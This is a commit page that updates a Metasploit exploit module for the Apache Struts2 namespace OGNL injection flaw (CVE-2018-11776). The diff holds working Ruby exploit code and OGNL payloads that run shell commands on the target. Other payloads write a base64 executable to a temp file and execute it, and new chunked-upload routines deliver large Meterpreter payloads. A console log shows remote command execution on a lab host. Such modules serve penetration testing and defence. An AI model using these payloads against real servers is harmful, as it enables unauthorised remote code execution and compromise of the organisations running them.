Land #10671, struts2_namespace_ognl updates
There are still some outstanding concerns, but I want to unblock this.GSoC/Meterpreter_Web_Console
commit
5b14d94957
|
@ -2,6 +2,12 @@ CVE-2018-11776 is a critical vulnerability in the way Apache Struts2 handles nam
|
|||
|
||||
The vulnerability was reported to Apache by [Man Yue Mo] from Semmle in April 2018. It was widely publicized in August 2018, with PoCs appearing shortly thereafter.
|
||||
|
||||
Tomcat versions prior to 7.0.88 will provide output from the injected OGNL and require that we prepend some OGNL to set `allowStaticMethodAccess=true`. Versions starting at 7.0.88 do not provide OUTPUT from injected OGNL and will error if we attempt to modify `allowStaticMethodAccess`. The `ENABLE_STATIC` option is used to toggle behavior, and the `check` method fingerprints the correct version.
|
||||
|
||||
As a result of the lack of OGNL output, we currently cannot support large payloads (namely Windows Meterpreter payloads) on Tomcat versions >= 7.088. Future committers might consider compressing the windows/x64/meterpreter templates or implementing GZIP compression of payloads.
|
||||
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The Struts showcase app, with a slight adaptation to introduce the vulnerability, works reliabliy as a practice environment.
|
||||
|
@ -68,7 +74,7 @@ msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
|
|||
Confirm that check functionality works:
|
||||
- [ ] Install the application using the steps above.
|
||||
- [ ] Start msfconsole.
|
||||
- [ ] Load the module: ```use exploit/multi/http/struts_namespace_rce```
|
||||
- [ ] Load the module: ```use exploit/multi/http/struts_namespace_ognl```
|
||||
- [ ] Set the RHOST.
|
||||
- [ ] Set an invalid ACTION: ```set ACTION wrong.action```
|
||||
- [ ] Confirm the target is *not* vulnerable: ```check```
|
||||
|
@ -105,31 +111,31 @@ msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
|
|||
Checking a vulnerable endpoint, as installed in the above steps:
|
||||
|
||||
```
|
||||
msf > use exploit/multi/http/struts_namespace_rce
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > set RHOSTS 192.168.199.135
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > set RPORT 32771
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > set ACTION help.action
|
||||
msf > use exploit/multi/http/struts_namespace_ognl
|
||||
msf5 exploit(multi/http/struts_namespace_ognl) > set RHOSTS 192.168.199.135
|
||||
msf5 exploit(multi/http/struts_namespace_ognl) > set RPORT 32771
|
||||
msf5 exploit(multi/http/struts_namespace_ognl) > set ACTION help.action
|
||||
ACTION => help.action
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > check
|
||||
msf5 exploit(multi/http/struts_namespace_ognl) > check
|
||||
[+] 192.168.199.135:32771 The target is vulnerable.
|
||||
```
|
||||
|
||||
Running an arbitrary command on the above-described environment:
|
||||
|
||||
```
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > set VERBOSE true
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > set PAYLOAD cmd/unix/generic
|
||||
msf5 exploit(multi/http/struts_namespace_ognl) > set VERBOSE true
|
||||
msf5 exploit(multi/http/struts_namespace_ognl) > set PAYLOAD cmd/unix/generic
|
||||
PAYLOAD => cmd/unix/generic
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > set CMD hostname
|
||||
msf5 exploit(multi/http/struts_namespace_ognl) > set CMD hostname
|
||||
CMD => hostname
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > run
|
||||
msf5 exploit(multi/http/struts_namespace_ognl) > run
|
||||
[*] Submitted OGNL: (#_memberAccess['allowStaticMethodAccess']=true).(#cmd='hostname').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
|
||||
|
||||
[*] Command ran. Output from command:
|
||||
b3d9b350d9b6
|
||||
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf5 exploit(multi/http/struts_namespace_rce) >
|
||||
msf5 exploit(multi/http/struts_namespace_ognl) >
|
||||
```
|
||||
|
||||
Getting a Meterpreter session on the above-described environment:
|
||||
|
|
|
@ -12,6 +12,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
# Eschewing CmdStager for now, since the use of '\' and ';' are killing me
|
||||
#include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers
|
||||
|
||||
# NOTE: Debugging code has been stripped, but is available in the commit history: a9e625789175a4c4fdfc7092eedfaf376e4d648e
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection',
|
||||
|
@ -20,11 +22,15 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
|
||||
via an endpoint that makes use of a redirect action.
|
||||
|
||||
Note that this exploit is dependant on the version of Tomcat running on
|
||||
the target. Versions of Tomcat starting with 7.0.88 currently don't
|
||||
support payloads larger than ~7.5kb. Windows Meterpreter sessions on
|
||||
Tomcat >=7.0.88 are currently not supported.
|
||||
|
||||
Native payloads will be converted to executables and dropped in the
|
||||
server's temp dir. If this fails, try a cmd/* payload, which won't
|
||||
have to write to the disk.
|
||||
},
|
||||
#TODO: Is that second paragraph above still accurate?
|
||||
'Author' => [
|
||||
'Man Yue Mo', # Discovery
|
||||
'hook-s3c', # PoC
|
||||
|
@ -67,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
|
||||
OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
|
||||
OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
|
||||
OptBool.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
|
||||
]
|
||||
)
|
||||
register_advanced_options(
|
||||
|
@ -120,6 +126,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
else
|
||||
CheckCode::Safe
|
||||
end
|
||||
elsif resp.nil?
|
||||
fail_with(Failure::Unreachable,"Target did not respond. Please double check RHOSTS and RPORT")
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -140,7 +148,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
# '\r' ends the GET request prematurely
|
||||
# '\n' ends the GET request prematurely
|
||||
|
||||
# TODO: Make sure the following line is uncommented
|
||||
bad_chars = %w[; \\ \r \n] # and maybe '/'
|
||||
bad_chars.each do |c|
|
||||
if ognl.include? c
|
||||
|
@ -176,53 +183,38 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
return ognl
|
||||
end
|
||||
|
||||
def send_struts_request(ognl, payload: nil)
|
||||
=begin #badchar-checking code
|
||||
pre = ognl
|
||||
=end
|
||||
|
||||
def send_struts_request(ognl, payload: nil, headers: nil)
|
||||
ognl = "${#{ognl}}"
|
||||
vprint_status("Submitted OGNL: #{ognl}")
|
||||
ognl = encode_ognl(ognl)
|
||||
|
||||
headers = {'Keep-Alive': 'timeout=5, max=1000'}
|
||||
if headers.nil?
|
||||
headers = {'Keep-Alive': 'timeout=5, max=1000'}
|
||||
end
|
||||
|
||||
if payload
|
||||
vprint_status("Embedding payload of #{payload.length} bytes")
|
||||
headers[datastore['HEADER']] = payload
|
||||
end
|
||||
|
||||
# TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs
|
||||
# TODO: Consider embedding OGNL in an HTTP header to hide it from the Tomcat logs
|
||||
uri = "/#{ognl}/#{datastore['ACTION']}"
|
||||
|
||||
resp = send_request_cgi(
|
||||
r = send_request_cgi(
|
||||
#'encode' => true, # this fails to encode '\', which is a problem for me
|
||||
'uri' => uri,
|
||||
'method' => datastore['HTTPMethod'],
|
||||
'headers' => headers
|
||||
)
|
||||
|
||||
if resp && resp.code == 404
|
||||
if r && r.code == 404
|
||||
fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
|
||||
end
|
||||
|
||||
=begin #badchar-checking code
|
||||
print_status("Response code: #{resp.code}")
|
||||
#print_status("Response recv: BODY '#{resp.body}'") if resp.body
|
||||
if resp.headers['Location']
|
||||
print_status("Response recv: LOC: #{resp.headers['Location'].split('/')[1]}")
|
||||
if resp.headers['Location'].split('/')[1] == pre[1..-2]
|
||||
print_good("GOT 'EM!")
|
||||
else
|
||||
print_error(" #{pre[1..-2]}")
|
||||
end
|
||||
end
|
||||
=end
|
||||
|
||||
resp
|
||||
return r
|
||||
end
|
||||
|
||||
def profile_target
|
||||
def send_profile
|
||||
# Use OGNL to extract properties from the Java environment
|
||||
|
||||
properties = { 'os.name': nil, # e.g. 'Linux'
|
||||
|
@ -281,14 +273,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd_input, opts={})
|
||||
# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.
|
||||
if cmd_input.include? ';'
|
||||
print_warning("WARNING: Command contains bad characters: semicolons (;).")
|
||||
end
|
||||
|
||||
def profile_os
|
||||
# Probe for the target OS and architecture
|
||||
begin
|
||||
properties = profile_target
|
||||
properties = send_profile()
|
||||
os = properties[:'os.name'].downcase
|
||||
rescue
|
||||
vprint_warning("Target profiling was unable to determine operating system")
|
||||
|
@ -297,10 +285,20 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
|
||||
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
|
||||
end
|
||||
return os
|
||||
end
|
||||
|
||||
if (os.include? 'linux') || (os.include? 'nix')
|
||||
def execute_command(cmd_input, opts={})
|
||||
# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.
|
||||
if cmd_input.include? ';'
|
||||
print_warning("WARNING: Command contains bad characters: semicolons (;).")
|
||||
end
|
||||
|
||||
os = profile_os()
|
||||
|
||||
if os && ((os.include? 'linux') || (os.include? 'nix'))
|
||||
cmd = "{'sh','-c','#{cmd_input}'}"
|
||||
elsif os.include? 'win'
|
||||
elsif os && (os.include? 'win')
|
||||
cmd = "{'cmd.exe','/c','#{cmd_input}'}"
|
||||
else
|
||||
vprint_error("Failed to detect target OS. Attempting to execute command directly")
|
||||
|
@ -336,18 +334,23 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def send_payload
|
||||
# Probe for the target OS and architecture
|
||||
begin
|
||||
properties = profile_target
|
||||
os = properties[:'os.name'].downcase
|
||||
rescue
|
||||
vprint_warning("Target profiling was unable to determine operating system")
|
||||
os = ''
|
||||
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
|
||||
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
|
||||
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
|
||||
data_header = datastore['HEADER']
|
||||
if data_header.empty?
|
||||
fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
|
||||
end
|
||||
|
||||
payload = generate_payload_exe
|
||||
print_status("Generated #{payload.length} byte binary payload")
|
||||
payload_b64 = [payload].pack("m").delete("\n")
|
||||
|
||||
if payload_b64.length < 8100
|
||||
send_payload_oneshot(payload_b64)
|
||||
else
|
||||
send_payload_multishot(payload)
|
||||
end
|
||||
end
|
||||
|
||||
def send_payload_oneshot(payload)
|
||||
data_header = datastore['HEADER']
|
||||
if data_header.empty?
|
||||
fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
|
||||
|
@ -355,18 +358,19 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
random_filename = datastore['TEMPFILE']
|
||||
|
||||
# d = data stream from HTTP header
|
||||
# d = payload data
|
||||
# f = path to temp file
|
||||
# s = stream/handle to temp file
|
||||
ognl = ""
|
||||
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
|
||||
ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
|
||||
ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).|
|
||||
ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','.tmp')).|
|
||||
ognl << %q|(#f.setExecutable(true)).|
|
||||
ognl << %q|(#f.deleteOnExit()).|
|
||||
ognl << %q|(#s=new java.io.FileOutputStream(#f)).|
|
||||
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
|
||||
ognl << %q|(#s.write(#d)).|
|
||||
#TODO: Consider GZIP: ognl << %q|(#s.write(java.util.zip.GZIPInputStream(#d).read())).|
|
||||
ognl << %q|(#s.close()).|
|
||||
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
|
||||
ognl << %q|(#p.start()).|
|
||||
|
@ -375,8 +379,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
success_string = rand_text_alpha(4)
|
||||
ognl << %Q|('#{success_string}')|
|
||||
|
||||
exe = [generate_payload_exe].pack("m").delete("\n")
|
||||
r = send_struts_request(ognl, payload: exe)
|
||||
r = send_struts_request(ognl, payload: payload)
|
||||
|
||||
if r && r.headers && r.headers['Location'].split('/')[1] == success_string
|
||||
print_good("Payload successfully dropped and executed.")
|
||||
|
@ -387,4 +390,120 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")
|
||||
end
|
||||
end
|
||||
|
||||
def ognl_create_file()
|
||||
filename = datastore['TEMPFILE']
|
||||
|
||||
# f = path to temp file
|
||||
ognl = ""
|
||||
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
|
||||
ognl << %Q|(#f=@java.io.File@createTempFile('#{filename}','.exe')).|
|
||||
ognl << %q|(#f.setExecutable(true)).|
|
||||
ognl << %q|(#f.deleteOnExit()).|
|
||||
ognl << %q|(#f)|
|
||||
|
||||
r = send_struts_request(ognl)
|
||||
|
||||
begin
|
||||
tempfile = r.headers['Location']
|
||||
tempfile = tempfile[1..-(2+datastore['ACTION'].length)]
|
||||
if tempfile.empty?
|
||||
fail_with(Failure::UnexpectedReply,"Unable to create and locate file on target. Try a cmd/*/generic payload")
|
||||
end
|
||||
rescue
|
||||
fail_with(Failure::UnexpectedReply,"Unable to create and locate file. Try a cmd/*/generic payload")
|
||||
end
|
||||
|
||||
return tempfile
|
||||
end
|
||||
|
||||
def send_payload_multishot(payload)
|
||||
tempfile = ognl_create_file()
|
||||
print_status("Temp file created: #{tempfile}")
|
||||
|
||||
payload_cursor = 0
|
||||
|
||||
while payload_cursor < payload.length
|
||||
payload_size = rand(4500..5000) # payload_size cannot exceed 5645 in my testing
|
||||
payload_start = payload_cursor
|
||||
payload_end = payload_cursor + payload_size
|
||||
payload_end = payload.size if payload_end > payload.size
|
||||
|
||||
chunk_bin = payload[payload_start..payload_end]
|
||||
chunk_b64 = [chunk_bin].pack("m").delete("\n")
|
||||
print_status("Sending payload chunk: #{chunk_b64.length} bytes")
|
||||
ognl_append_file(tempfile, chunk_b64)
|
||||
|
||||
payload_cursor = payload_end + 1
|
||||
end
|
||||
|
||||
ognl_execute(tempfile)
|
||||
end
|
||||
|
||||
def ognl_append_file(payload_file, payload_chunk)
|
||||
data_header = datastore['HEADER'] + 'd'
|
||||
file_header = datastore['HEADER'] + 'f'
|
||||
headers = {
|
||||
"#{data_header}": payload_chunk,
|
||||
"#{file_header}": payload_file,
|
||||
}
|
||||
|
||||
# d = payload data
|
||||
# f = path to temp file
|
||||
# s = stream/handle to temp file
|
||||
ognl = ""
|
||||
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
|
||||
ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
|
||||
ognl << %Q|(#f=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{file_header}')).|
|
||||
ognl << %q|(#s=new java.io.FileOutputStream(#f,1)).|
|
||||
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
|
||||
ognl << %q|(#s.write(#d)).|
|
||||
ognl << %q|(#s.close()).|
|
||||
|
||||
success_string = rand_text_alpha(4)
|
||||
ognl << %Q|('#{success_string}')|
|
||||
r = send_struts_request(ognl, headers: headers)
|
||||
|
||||
begin
|
||||
if r.headers['Location'].include? success_string
|
||||
vprint_good("OGNL payload chunk sent successfully.")
|
||||
return
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "OGNL payload upload did not respond")
|
||||
end
|
||||
rescue
|
||||
fail_with(Failure::UnexpectedReply, "OGNL payload upload failed")
|
||||
end
|
||||
end
|
||||
|
||||
def ognl_execute(file)
|
||||
file_header = datastore['HEADER'] + 'f'
|
||||
headers = {
|
||||
"#{file_header}": file,
|
||||
}
|
||||
|
||||
# f = path to temp file
|
||||
# p = process handle
|
||||
ognl = ""
|
||||
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
|
||||
ognl << %Q|(#f=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{file_header}')).|
|
||||
ognl << %q|(#p=new java.lang.ProcessBuilder(#f)).|
|
||||
ognl << %q|(#p.start()).|
|
||||
ognl << %q|(#f.delete()).|
|
||||
|
||||
success_string = rand_text_alpha(4)
|
||||
ognl << %Q|('#{success_string}')|
|
||||
r = send_struts_request(ognl, headers: headers)
|
||||
|
||||
begin
|
||||
if r.code==302
|
||||
print_good("OGNL payload executed successfully.")
|
||||
else
|
||||
fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
|
||||
end
|
||||
rescue
|
||||
vprint_status("TARGET RESPONDED: #{r.to_s}")
|
||||
fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while attempting to execute the payload")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue